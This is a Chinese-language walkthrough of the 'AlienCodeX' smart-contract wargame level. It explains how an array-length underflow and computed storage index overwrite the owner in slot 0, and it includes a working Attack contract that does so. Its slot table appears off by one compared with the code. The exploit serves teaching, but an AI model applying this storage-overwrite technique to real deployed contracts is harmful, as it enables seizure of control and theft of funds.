AlienCodeX
AlienCodeX.sol
- 抢占当前合约的
Owner
- 和 privacy类似
- 当前合约不存在 call 或者delegateCall的外部调用,唯一更新的storage参数时 bytes32的非定长数据
- 当前合约的编译版本为 ^0.5.0,数据存在上下溢出的风险
- 动态数组具体数据存储的起始位置为:keccak256(p) ,p 为当前 slot 的 index , slotp内部存储数组size
function revise(uint256 i, bytes32 _content) public contacted {
codex[i] = _content;
}
- 通过指定index更新array数据
- owner存储在slot0
- 数据type(uint256).max上溢的值为0
- 动态数组的更新规则:
index | slot |
0 | keccak256(1) + 1 |
1 | keccak256(1) + 2 |
2 | keccak256(1) + 3 |
… | … |
type(uint256).max - 1 - keccak256(1) | type(uint256).max |
type(uint256).max - 1 - keccak256(1) + 1 | 0 |
contract Attack {
AlienCodex codex;
constructor(AlienCodex _codex)public {
codex = _codex;
}
function attack() public {
codex.make_contact();
codex.retract();
uint256 index = ((2**256) - 1) - uint256(keccak256(abi.encode(1))) + 1;
bytes32 txsender = bytes32(uint256(uint160(msg.sender)));
codex.revise(index, txsender);
}
}
- 通过计算,在
index = type(uint256).max - 1 - keccak256(1) + 1
插入的值会被存储在 slot0
call AlienCodex
合约的 retract()
函数,此时数组 index
下溢,动态数组的长度初始化为最大
- 计算目标
index和owner
值
call AlienCodex
合约的 revise()
函数,在特定 index
插入值,根据动态数组的计算规则,此时会更新 slot0
的数据